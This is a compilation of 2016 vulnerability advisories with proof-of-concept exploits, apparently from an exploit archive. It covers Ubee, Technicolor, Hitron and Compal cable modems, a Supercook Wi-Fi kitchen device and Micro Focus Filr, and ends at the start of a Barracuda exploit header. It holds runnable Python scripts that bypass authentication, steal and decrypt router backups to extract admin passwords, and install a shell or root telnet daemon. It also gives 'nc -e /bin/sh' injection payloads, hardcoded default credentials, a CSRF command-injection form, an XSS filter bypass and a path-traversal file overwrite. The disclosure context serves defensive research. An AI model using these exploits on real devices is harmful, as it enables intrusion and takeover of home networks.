- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2015.09.16: Ubee Interactive also asked some questions about the vulnerabilities
- 2015.09.24: We sent detailed answers to Ubee Interactive
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [3]:

- Authentication bypass
- Unauthenticated backup file access
- Backup file password disclosure
- Code execution

Video demonstration is also available [1], which presents the above problems and how these can be combined to obtain full access to the modem.

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://youtu.be/cBclw7uUuO4
[3] https://github.com/ebux/Cable-modems/tree/master/Ubee
'''
#
# POC code for Ubee EVW3226
#
# Demonstrates the following vulnerabilities
#  - Authentication bypass
#  - Unauthenticated backup file access
#  - Backup file password disclosure
#  - Code execution
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import tarfile
import struct
import binascii
import re
import shutil

config_data = binascii.unhexlify('00003226FFA486BE000001151F8B0808EB7D4D570400706F635F636F6E666967'
                                 '2E74617200EDD53D4FC3301006E09BF32BDC30A78E9D3816AC8811898185D104'
                                 '8B4404C7CA1DA4FC7B121A900A0296A66A153FCBF96BB15F9D8C0DCC2E1D68AD'
                                 '87FA61A7EE8E65AEB48254C86C38CE247F351DA767CFFBBEE7308F1724D33106'
                                 '5DDBD21FC7FEDD3F51DE20AE6933EBD5C6648B3CFF3D7F21BEE52F649E014BE1'
                                 '00169EFFD5F5CDED9DC88A730896081B5E3ED6C97DED3859A43556B077DBF667'
                                 '3FD6BFDA5F291052CB4CEA421502C6DF221707EEFF853A5BF1317BAC225B562D'
                                 'BB6C1D594709BD797BC1C86E88FBC6D46EBB1BC753AD4CF9641F1836AB389A96'
                                 '3C8A38F2F83975968687A5389A062C712682200882E058BC0383AF448C000E0000')

class ubee:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def authenticationBypass(self):
        self.s.get(self.getUri('cgi-bin/setup.cgi?factoryBypass=1'))
        self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=main2'))

    def parseNVRam(self, nv):
        o = 0x1c
        pos = 2
        nvdata = {}
        while(True):
            stype = struct.unpack('!H', nv[o:o+2])[0]
            slen = struct.unpack('!H', nv[o+2:o+4])[0]
            sval = nv[o+4:o+4+slen]
            nvdata[stype] = sval
            pos += slen
            o = o+slen+4
            if (o >= len(nv) ):
                break
        return nvdata

    def parseBackupFile(self, fname):
        tar = tarfile.open("Configuration_file.cfg", "r:gz")
        for tarinfo in tar:
            if tarinfo.isreg():
                if (tarinfo.name == 'pass.txt'):
                    print 'config file password: %s'%(tar.extractfile(tarinfo).read())
                elif (tarinfo.name == '1'):
                    nvdata = self.parseNVRam(tar.extractfile(tarinfo).read())
                    print 'admin password: %s'%(nvdata[3])
        tar.close()

    def saveBackup(self, r, fname):
        if r.status_code == 200:
            resp = ''
            for chunk in r:
                resp += chunk
            open(fname, 'wb').write(resp[0xc:])

    def createBackupFile(self, fname):
        # get validcode (CSRF token)
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryBackup'))
        m = re.search('ValidCode = "([^"]+)"', r.text)
        if (m == None):
            print 'ValidCode is not found'
            return
        validCode = m.group(1)

        # create backup file
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=secretpass&ValidCode=%s')%(validCode))
        if (len(r.text) > 0):
            self.saveBackup(r, fname)

    def downloadBackupFile(self, fname):
        r = self.s.get(self.getUri('Configuration_file.cfg'))
        if (len(r.text) > 0):
            print len(r.text)
            self.saveBackup(r, fname)
            return True
        return False

    def restoreConfigFile(self, fname = '', passwd = 'badpasswd'):
        # get validcode (CSRF token)
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryRestore'))
        m = re.search('name="ValidCode" value="([^"]+)"', r.text)
        if (m == None):
            print 'ValidCode is not found'
            return
        validCode = m.group(1)

        # restore config file
        if (fname == ''):
            cfg_data = config_data
        else:
            cfg_data = open(fname, 'rb').read()
        r = self.s.post(self.getUri('cgi-bin/restore.cgi'), files=(('ValidCode', (None, validCode)), ('PasswordStr', (None, passwd)), ('browse', cfg_data), ('file_name', (None, 'Configuration_file.cfg'))))
        if (r.text.find('alert("Password Failure!")') > 0):
            return True
        else:
            return False

    def getShellResponse(self):
        r = self.s.get(self.getUri('cgi-bin/test.sh'))
        print r.text

#------------------------------------

if (len(sys.argv) < 2):
    print 'ubee_evw3226_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create ubee object
u = ubee(addr, port)

# perform authentication bypass
u.authenticationBypass()
# download backup file if it is exists (auth is not required)
if (not u.downloadBackupFile('Configuration_file.cfg')):
    # create and download backup file (auth required)
    u.createBackupFile('Configuration_file.cfg')
# parse downloaded file and get admin and backup file password
u.parseBackupFile('Configuration_file.cfg')
# execute shell command in the router
if (u.restoreConfigFile()):
    print 'Shell installed'
    u.getShellResponse()
else:
    print 'Shell install failed'
            
'''
Technicolor TC7200 modem/router multiple vulnerabilities
--------------------------------------------------------

Platforms / Firmware confirmed affected:
- Technicolor TC7200, STD6.02.11
- Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300

Vulnerabilities
---------------
Insecure session management

The web interface does not use cookies at all and does not check the IP
address of the client. If admin login is successful, every user from the
LAN can access the management interface.

Backup file encryption uses fix password

Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
AES. However, the encrypted backup file remains accessible without
authentication and if the password is not set in the web interface a
default password is used. So, if an attacker accesses the backup file
without authentication, the password cannot be set, and the backup file
can be decrypted.

Timeline
--------

- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [2]:
- Unauthenticated backup file access
- Backup file decryption

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor
'''
#
# POC code for Technicolor TC7200
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated backup file access
#  - Backup file decryption
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import struct
import binascii
from Crypto.Cipher import AES

class technicolor:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def downloadBackupFile(self):
        r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
        resp = ''
        for chunk in r:
            resp += chunk
        return resp

    def parseBackup(self, backup):
        p = backup.find('MLog')
        if (p > 0):
            p += 6
            nh = struct.unpack('!H',backup[p:p+2])[0]
            name = backup[p+2:p+2+nh]
            p += 2+nh
            ph = struct.unpack('!H',backup[p:p+2])[0]
            pwd = backup[p+2:p+2+nh]
            return (name,pwd)
        return ('','')

    def decryptBackup(self, backup):
        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
        l = (len(backup)/16)*16
        cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
        plain = cipher.decrypt(backup[0:l])
        return plain


#------------------------------------

if (len(sys.argv) < 2):
    print 'technicolor_tc7200_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create technicolor object
t = technicolor(addr, port)

backup = t.downloadBackupFile()
if (len(backup) > 0):
    open('test.enc', 'wb').write(backup)
    plain = t.decryptBackup(backup)
    open('test.dec', 'wb').write(plain)

    (name, pwd) = t.parseBackup(plain)
    if (name != ''):
        print 'admin name: %s, pwd: %s'%(name,pwd)
            
Hitron CGNV4 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Hitron CGNV4, 4.3.9.9-SIP-UPC
- Product page: http://www.hitrontech.com/en/cable_detail.php?id=62

Vulnerabilities
---------------
Insecure session management

The web interface uses insecure cookies, which can be brute-forced
easily (e.g cookie: userid=0). If admin login is successful, the IP
address of the admin user is stored and everybody can access the
management interface with the same IP.

Missing CSRF protection

The web interface is not used any CSRF protection. In case of a valid
session exists, the attacker can modify any settings of the router. If
the default admin password was not changed, the attacker can perform a
login also and modify any settings after it.

Authenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because the parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device: 

“google.com;nc -l -p 1337 -e /bin/sh;echo”.

Disclaimer
----------
We found these vulnerabilities within a very short time range (3 hours),
and we did not check a lot of areas such as:
- Command injections in other modules
- Buffer overflows
- User authentication
- Default SSID and passphrase
- Analysis of the backup file
- Device configuration (such as SNMP)

Timeline
--------
- 2015.10.16: Vulnerabilities found in the Hitron CGNV4 were reported to UPC Magyarorszag and Liberty Global
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should
install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
            
Compal CH7465LG-LC modem/router multiple vulnerabilities
--------------------------------------------------------

The following vulnerabilities are the result of a quick check (~3 hours)
of the Mercury modem. We performed a systematic and deeper evaluation of
this device also, which result will be described in a separate report [2] and advisory.

Platforms / Firmware confirmed affected:
- Compal CH7465LG-LC, CH7465LG-NCIP-4.50.18.13-NOSH

Vulnerabilities
---------------
Insecure session management

The web interface uses cookies, but is not verified. Thus, if admin
login is successful, the IP address and the browser type of the admin
user are stored and everybody can access the management interface with
the same IP and the same user-agent.

Information leakage

Some information requests can be performed without authentication. For
example an attacker can obtain the following information pieces:
-    Global settings (SW version, vendor name, etc.)
-    CSRF token
-    Event log
-    LAN user table
-    Ping response

Unauthenticated deny of service attack

Factory reset can be initiated without authentication with a simple POST
request to the getter.xml.

Unauthenticated configuration changes
Some settings modification can be performed without authentication, for
example the first install flag and the ping command.

Unauthenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device:

“token=<csrf_token>&fun=126&Type=0&Target_IP=127.0.0.1&Ping_Size=64;nc
-l -p 1337 -e /bin/sh;&Num_Ping=3&Ping_Interval=1”

Timeline
--------
- 2015.10.21: SEARCH-LAB received two sample boxes from the Compal Mercury devices from UPC Magyarorszag
- 2015.10.21: Within three hours we reported a remotely exploitable vulnerability on the device
- 2015.10.21: Liberty Global asked for a commercial proposal on executing an overall security evaluation of the Compal device.
- 2015.10.24: A proposal was sent to Liberty Global.
- 2015.11.09: Liberty Global asked to execute the evaluation as a pilot project without financial compensation.
- 2015.12.07: End Use Certificate for Dual-Use Items was asked from Liberty Global as the developer of the device is located in China.
- 2016.01.07: The 99-page-long Evaluation Report on Compal Mercury modem was sent to Liberty Global with the restriction that they are not allowed to forward it outside of the European Union until a signed End Use Certificate is received.
- 2016.01.07: First reaction to the report said: “Bloody hell, that is not a small document ;)”
- 2016.01.11: Liberty Global sent the signed End Use Certificate for Dual-Use Items to SEARCH-LAB
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] http://www.search-lab.hu/media/Compal_CH7465LG_Evaluation_Report_1.1.pdf
            
'''
Bellini/Supercook Wi-Fi Yumi SC200 - Multiple vulnerabilities

Reported By:
==================================
James McLean -
 Primary: james dot mclean at gmail dot com
 Secondary: labs at juicedigital dot net

Device Overview:
==================================
From http://www.supercook.me/en/supercook/articles/btmkm800x/

"The Bellini.SUPERCOOK Kitchen Master is much more than a multifunctional
kitchen machine. It has 13 functions so not only saves a huge amount of
time, it also incorporates the Yumi control module and its own recipe
collection, making it incredibly easy to use."

Vulnerability Overview:
==================================
 Vuln1) Weak Username/Password for 'root' account.
 Vuln2) Information disclosure, unauthenticated.
 Vuln3) Remote arbitrary code execution.

CVE ID's
==================================
None assigned as yet.

Disclosure Timeline
==================================
2016-06-01: Vulnerability assessment commenced.
2016-07-04: Contacted Supercook.me support via Web Contact. No response.
2016-07-12: Contacted Supercook.me support via Web Contact. No response.
2016-07-12: Contacted Supercook Australia via Facebook. Supercook responded, saying they will view the support request. No further response recieved.
2016-07-19: Contacted Supercook Australia via Facebook. No response.
2016-07-21: Posted security assessment to vortex.id.au.
2016-07-22: Mitre contacted, CVE ID's requested.

It is with regret, but ultimately due to my concern for the community
that own these devices, that due to lack of communication I am disclosing
these vulnerabilities without the involvment of the vendor. I sincerely hope
that the vendor can resolve these issues in a timely manner.

I intend no malice by releasing these vulnerabilities, and only wish to
inform the community so appropriate steps may be taken by the owners of
these devices.

Due to the nature of the firmware on the device, these issues are not likely
caused by the vendor themselves.

Please do not use the information presented here for evil.

Affected Platforms:
==================================
Bellini/Supercook Wi-Fi Yumi SC200 - Confirmed affected: Vuln1, Vuln2, Vuln3.
Bellini/Supercook Wi-Fi Yumi SC250 - Likely affected, Vuln1, Vuln2, Vuln3, as
same firmware is used.

As the Wi-fi Yumi firmware appears to be based on a stock firmware image
used on a number of other commodity 'IoT' devices, the vulnerabilities
described here are very likely to affect other devices with similar or
the same firmware.

--

Vuln1 Details:
==================================
Weak Username/Password for Root-level account.
Username: super
Password: super

These credentials provide access to the built in FTP server and web
administration interface. We did not attempt any more than a cursory
connection to the FTP server with these details.

According to the details disclosed in Vuln2, an additional account is present
on the device with the following credentials:
Username: admin
Password: AlpheusDigital1010

With the exception of a cursory check of the built in FTP service (which
failed for these credentials), we did not attempt to access the device with
these credentials.

Vuln1 Notes:
==================================
We did not attempt to change or ascertain if it was possible to change these
access credentials; as Vuln2 completely negates any change made.

Vuln1 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network.
Revert to the non-wifi Yumi controller.

--

Vuln2 Details:
==================================
Information disclosure, unauthenticated.

Device URL: http://10.10.1.1/Setting.chipsipcmd

The device offers, via its built in webserver, a full list of all configuration
parameters available. This list includes the above mentioned root account
username and password, and the password to the parent connected wifi network.
All details are in plain text, and transmitted in the format of a key-value
pair making retrieval, recovery and use of all configuration
information trivial.

This interface is also available from the parent wi-fi network via DHCP assigned
IPv4 address.

Vuln2 Notes:
==================================
Example data returned:
DEF_IP_ADDR=10.10.1.1
DEF_SUBNET_MASK=255.255.255.0
...
DEF_SUPER_NAME="super"
DEF_SUPER_PASSWORD="super"
DEF_USER_NAME="admin"
DEF_USER_PASSWORD="AlpheusDigital1010"
...

Vuln2 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network, only using
the mobile application to upload recipes, then disconnect from the device and
connect your mobile device to a trusted network once again to access the
internet once again.

Revert to the non-wifi Yumi controller.

The vendor should establish a method of authentication to the device from the
various mobile applications available, and transport any configuration in an
encrypted format using keys which are not generally available or easily
discoverable.

--

Vuln3 Details:
==================================
Remote arbitrary code execution.

Device URL: http://10.10.1.1/syscmd.asp

The device offers a built-in web-shell which, once authenticated using the
details discovered in Vuln2, allows the execution of any command the device
can execute - as the built in webserver runs as the root user.

It is possible to execute a command using this interface that would create
any file in any location. This would allow an attacker to establish persistence.

Additionally, the built in busybox binary includes the option
'telnetd', meaning it is
possible to execute the relevant command to start a telnet daemon remotely.
The running daemon then requires no authentication to connect, and runs as
the root account.

Vuln3 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network.

Revert to the non-wifi Yumi controller.

Remove or prevent access to /syscmd.asp and /goform/formSysCmd scripts (Please
mind your warranty if you modify the files on the device).

The vendor should disable any and all commands on the device and scripts in
the web interface which are not specifically required for the normal
functionality of the device or its communication with control apps.

In this instance, the vendor should REMOVE the page '/syscmd.asp' and also
/goform/formSysCmd which processes commands submitted via syscmd.asp to prevent
arbitrary commands from being executed.

Additionally, busybox should be recompiled such that the 'telnetd' option is
no longer available to be executed.

--

Vuln1/Vuln2/Vuln3 Risks:
==================================
Weak and easily discoverable root credentials combined with easily accessed
remote shell functionality is a dangerous combination. These vulnerabilities
could allow any sufficiently advanced malware to become persistent in a LAN
and re-infect hosts at will (advanced crypto-locker style malware comes to
mind), capture and exfiltrate data on either Wireless network the device is
connected to, MITM any traffic routed through the device, or other as yet
unknown attack vectors.

Additionally, as full root access is easily obtainable, it may be possible
for an attacker to cause the cooking functionality to behave erratically or
possibly even dangerously due to the built in spinning blades and heating
elements. While we ultimately did not attempt to control these aspects of the
device due to the fact that it makes our dinner most nights, these risks are
worth raising.

This vulnerability assessment should not be considered an exhaustive list
of all vunlnerabilities the device may have. Due to time constraints we were
unable to invest the required time to discover and document all issues. Due to
the nature of the firmware on the device, most of these have likely been
discovered in other products at various times, this item may even duplicate
another from a similar device.

Notes:
==================================
No security assessment of code used for control of cooker functionality was
undertaken; as this does not, in my opinion, rate as seriously as the other
vulnerabilities discovered and disclosed here. However, it should be noted,
that with the root access that is VERY easily obtained, it may be possible for
an attacker to cause the cooking functionality of the machine to behave
erratically or even dangerously due to the built in spinning blades and heating
elements. Further to this, a malicious partner or offspring may intentionally
sabotage dinner, if he/she would prefer to eat takeout.

No attempt was made to connect to or manipulate files on the built in Samba
shares, however given the weak credentials sufficiently advanced malware may be
able to use these shares to establish persistence.

The 'Bellini' name may be regional, our device was procured in Australia and
as such may or may not have a different name in other countries.

A full, detailed, rundown and commentary is available at
https://www.vortex.id.au/2016/07/bellini-supercook-yumi-wi-fi-the-insecurity-perspective/

Vuln3 Proof of Concept:
==================================
'''

#!/usr/bin/env python

import urllib
import urllib2
from subprocess import call

# Connect to the device's wifi network, then run.
# Root access will be provided.

url = 'http://10.10.1.1/goform/formSysCmd'
cmd = 'busybox telnetd -l /bin/sh'
username = 'super'
password = 'super'

# setup the password handler
basicauth = urllib2.HTTPPasswordMgrWithDefaultRealm()
basicauth.add_password(None, url, username, password)

authhandler = urllib2.HTTPBasicAuthHandler(basicauth)
opener = urllib2.build_opener(authhandler)

urllib2.install_opener(opener)

# Connect to the device, send the data
values = {
    'sysCmd': cmd,
    'apply': 'Apply',
    'submit-url': '/syscmd.asp'
}
data = urllib.urlencode(values)
pagehandle = urllib2.urlopen(url, data)

# Connect to Telnet.
call(["telnet","10.10.1.1"])

# Pwnd.

# End of document.
            
SEC Consult Vulnerability Lab Security Advisory < 20160725-0 >
=======================================================================
              title: Multiple vulnerabilities 
            product: Micro Focus (former Novell) Filr Appliance
 vulnerable version: Filr 2 <=2.0.0.421, Filr 1.2 <= 1.2.0.846
      fixed version: Filr 2 v2.0.0.465, Filr 1.2 v1.2.0.871
         CVE number: CVE-2016-1607, CVE-2016-1608, CVE-2016-1609
                     CVE-2016-1610, CVE-2016-1611
             impact: critical
           homepage: https://www.novell.com/products/filr/
              found: 2016-05-23
                 by: W. Ettlinger (Office Vienna)
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Unlike other mobile file access and collaborative file sharing solutions, Micro
Focus Filr has been designed with the enterprise in mind, resulting in less
administration, better security and more productive users."

URL: https://www.novell.com/products/filr/


Business recommendation:
------------------------
During a very quick security check several vulnerabilities with high impact 
have been discovered. SEC Consult recommends to immediately apply the patches 
provided by Micro Focus to address these issues. 

Please note that since SEC Consult did not conduct a thorough technical security
check SEC Consult cannot make a statement regarding the overall security of the
Micro Focus Filr appliance.


Vulnerability overview/description:
-----------------------------------
During a quick security check several vulnerabilities have been identified that 
ultimately allow an attacker to completely compromise the appliance:

1) Cross Site Request Forgery (CSRF) - CVE-2016-1607
Several functions within the appliance's administative interface lack protection
against CSRF attacks. This allows an attacker who targets an authenticated 
administrator to reconfigure the appliance.

2) OS Command Injection - CVE-2016-1608
The appliance administrative interface allows an authenticated attacker to 
execute arbitrary operating system commands. Please note that an attacker can 
combine this vulnerability with vulnerability #1. In this scenario, an attacker 
does not need to be authenticated.

3) Insecure System Design
The appliance uses a Jetty application server to provide the appliance 
administration interface. This application server is started as the superuser 
"root". Please note that combined with vulnerability #1 and #2 an attacker can
run commands as the superuser "root" without the need for any authentication.
For vendor remark on #3 see solution section.

4) Persistent Cross-Site Scripting - CVE-2016-1609
The Filr web interface uses a blacklist filter to try to strip any JavaScript 
code from user input. However, this filter can be bypassed to persistently 
inject JavaScript code into the Filr web interface.

5) Missing Cookie Flags
The httpOnly cookie flag is not set for any session cookies set by both the 
administrative appliance web interface and the Filr web interface. Please note 
that combined with vulnerability #4 an attacker can steal session cookies of 
both the appliance administration interface and the Filr web interface (since 
cookies are shared across ports).
For vendor remark on #5 see solution section.

6) Authentication Bypass - CVE-2016-1610
An unauthenticated attacker is able to upload email templates.

7) Path Traversal - CVE-2016-1610
The functionality that allows an administrator to upload email templates fails 
to restrict the directory the templates are uploaded to. Please note that 
combined with vulnerability #6 an attacker is able to upload arbitray files with
the permissions of the system user "wwwrun".

8) Insecure File Permissions - CVE-2016-1611
A file that is run upon system user login is world-writeable. This allows a local 
attacker with restricted privileges to inject commands that are being executed
as privileged users as soon as they log into the system. Please note that 
combined with vulnerabilities #6 and #7 an unauthenticated attacker can inject 
commands that are executed as privileged system users (e.g. root) using the Filr
web interface.


Proof of concept:
-----------------
1, 2, 3)
The following HTML fragment demonstrates that using a CSRF attack (#1) system 
commands can be injected (#2) that are executed as the user root (#3):

----- snip -----
<html>
  <body>
    <form action="https://<host>:9443/vaconfig/time" method="POST">
      <input type="hidden" name="ntpServer" value="0.novell.pool.ntp.org 1.novell.pool.ntp.org';id>/tmp/test;'" />
      <input type="hidden" name="region" value="europe" />
      <input type="hidden" name="timeZone" value="Europe/Vienna" />
      <input type="hidden" name="utc" value="true" />
      <input type="hidden" name="_utc" value="on" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
----- snip -----

4)
The following string demonstrates how the XSS filter can be circumvented:
<img src='>' onerror='alert(1)'>

This string can e.g. be used by a restricted user in the "phone" field of the 
user profile. The script is executed by anyone viewing the profile (e.g. admins).

5)
None of the session cookies are set with the httpOnly flag.

6, 7, 8)
The following Java fragment demonstrates how an unauthenticated attacker (#6) 
can overwrite a file in the filesystem (#7 & #8) that is executed upon user login 
of e.g. the root user:

----- snip -----
String sessionCookie = "sectest";
String host = "http://<host>/";

ProxySettings settings = new ProxySettings();
HttpCookie cookie = new HttpCookie("JSESSIONID", sessionCookie);

settings.setCookieManager(new CookieManager());
settings.getCookieManager().getCookieStore().add(new URI(host), cookie);

settings.setModuleBaseUrl(host + "ssf/gwt/");
settings.setRemoteServiceRelativePath("gwtTeaming.rpc");
settings.setPolicyName("338D4038939D10E7FC021BD64B318D99");
GwtRpcService svc = SyncProxy.createProxy(GwtRpcService.class, settings);

VibeXsrfToken token = new VibeXsrfToken(
		StringUtils.toHexString(Md5Utils.getMd5Digest(sessionCookie.getBytes())));
((HasRpcToken) svc).setRpcToken(token);

String fileName = "../../../../etc/profile.d/vainit.sh";
FileBlob fileBlob = new FileBlob(ReadType.TEXT, fileName, "", 1l, 4, 1l, false, 4l);
fileBlob.setBlobDataString("id > /tmp/profiledtest\n");
BinderInfo folderInfo = new BinderInfo();
folderInfo.setBinderId((long) 1);
folderInfo.setBinderType(BinderType.WORKSPACE);
folderInfo.setWorkspaceType(WorkspaceType.EMAIL_TEMPLATES);
VibeRpcCmd cmd = new UploadFileBlobCmd(folderInfo, fileBlob, true);
HttpRequestInfo ri = new HttpRequestInfo();
svc.executeCommand(ri, cmd);
----- snip -----


Vulnerable / tested versions:
-----------------------------
The version 2.0.0.421 of Micro Focus Filr was found to be vulnerable. This version 
was the latest version at the time of the discovery.

According to the vendor, Filr 1.2 is also vulnerable.



Vendor contact timeline:
------------------------
2016-05-23: Sending encrypted advisory to security@novell.com, Setting latest
            possible release date to 2016-07-12
2016-05-24: Initial response from Micro Focus: forwarded the information to Filr
            engineering team
2016-06-13: Micro Focus releases patch to address issue #8
2016-06-14: Requested status update
2016-06-14: Micro Focus expects release of the patches in early July
2016-06-30: Asking for status update, answer of Micro Focus
2016-07-06: Micro Focus needs more time to patch issues, release re-scheduled for 15th
2016-07-12: Asking for status update; "final rounds of QA" at Micro Focus
2016-07-16: Postponing advisory release, patch not yet ready
2016-07-22: Patch release by Micro Focus
2016-07-25: Coordinated advisory release
  

Solution:
---------
The "Filr 2.0 Security Update 2" can be downloaded here and should
be applied immediately:
https://download.novell.com/Download?buildid=3V-3ArYN85I~
Those patches fix vulnerabilities #1, #2, #4, #6, #7

"Filr 1.2 Security Update 3" can be found here:
https://download.novell.com/Download?buildid=BOTiHcBFfv0~


Knowledge base references at Micro Focus:
Issue #1: https://www.novell.com/support/kb/doc.php?id=7017786
Issue #2: https://www.novell.com/support/kb/doc.php?id=7017789
Issue #4: https://www.novell.com/support/kb/doc.php?id=7017787
Issue #6 & #7: https://www.novell.com/support/kb/doc.php?id=7017788

Local privilege escalation via insecure file permissions (#8) has
already been fixed in the Filr 2.0 security update 1 in June:
https://www.novell.com/support/kb/doc.php?id=7017689


Issue #3: According to Micro Focus, Jetty actually runs as user 
"vabase-jetty" but will pass commands off to another service on
the box that runs as root to perform privileged actions.
They have fixed the command injection in this release and the
next release will include much more stringent parameter validation
for passing the commands.

Issue #5: According to Micro Focus, a component of Filr does not
function properly when the httpOnly flag is enabled. This will be
addressed in a future release.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? 
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF W. Ettlinger / @2016
            
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)
# Date: 07/25/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.007 (2016-01-07)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# CVE : None.

# This exploit combines 2 bugs to leverage root access
# Vuln 1: ondefined_view_template trigger    - File upload vuln
